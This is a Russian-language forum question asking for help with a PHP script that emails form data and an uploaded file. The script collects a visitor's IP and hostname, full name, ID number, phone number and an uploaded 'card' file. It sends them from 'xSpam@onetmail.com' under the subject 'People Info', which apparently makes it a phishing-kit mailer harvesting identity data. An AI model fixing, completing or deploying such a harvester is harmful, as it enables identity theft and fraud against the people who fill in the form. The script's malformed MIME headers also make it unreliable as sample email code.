Я немного новичок в этом. Я хочу отправить файл из сценария PHP на свой адрес электронной почты. Он показывает, что файл отправлен успешно, но когда я проверяю свою электронную почту, он не отправляет файл с правильными расширениями, а также не отправляет данные формы, также связанные с вложением.
Мой код выглядит следующим образом
<?php
$ip = getenv('REMOTE_ADDR');
$host = gethostbyaddr($ip);
$from = 'xSpam@onetmail.com';
$to = 'george.washington@onepost.co.za';
$subject = "People Info - $host";
$fullname= $_POST['fullname'];
$ID = $_POST['ID'];
$telNum = $_POST['telNum'];
$message = "-------\n Infosz \n $ip: $ip\n Host: $host\n Name in Full :$fullname \n ID: $ID\n Tel : $telNum ";
$tmp_name = $_FILES['card']['tmp_name'];
$file_name = $_FILES['card']['name'];
$size = $_FILES['card']['size'];
$file_type = $_FILES['card']['type'];
$error = $_FILES['card']['error'];
$handle = fopen($tmp_name, "r");
$content = fread($handle, $size);
fclose($handle);
$encoded_content = chunk_split(base64_encode($content));
$boundary = md5("random");
$headers = "MIME-Version: 1.0\r\n";
$headers .= "From:".$from."\r\n";
$headers .= "Content-Type: multipart/mixed;\r\n";
$headers .= "boundary = $boundary\r\n";
$body = "--$boundary\r\n";
$body .= "Content-Type: text/plain; charset=ISO-8859-1\r\n";
$body .= "Content-Transfer-Encoding: base64\r\n\r\n";
$body .= chunk_split(base64_encode($message));
$body .= "--$boundary\r\n";
$body .="Content-Type: $file_type; name=".$file_name."\r\n";
$body .="Content-Disposition: attachment; filename=".$file_name."\r\n";
$body .="Content-Transfer-Encoding: base64\r\n";
$body .="X-Attachment-Id: ".rand(1000, 99999)."\r\n\r\n";
$body .= $encoded_content;
$sentMailResult = mail($to, $subject, $body, $headers);
if($sentMailResult )
{
echo "File Sent Successfully.";
}
?>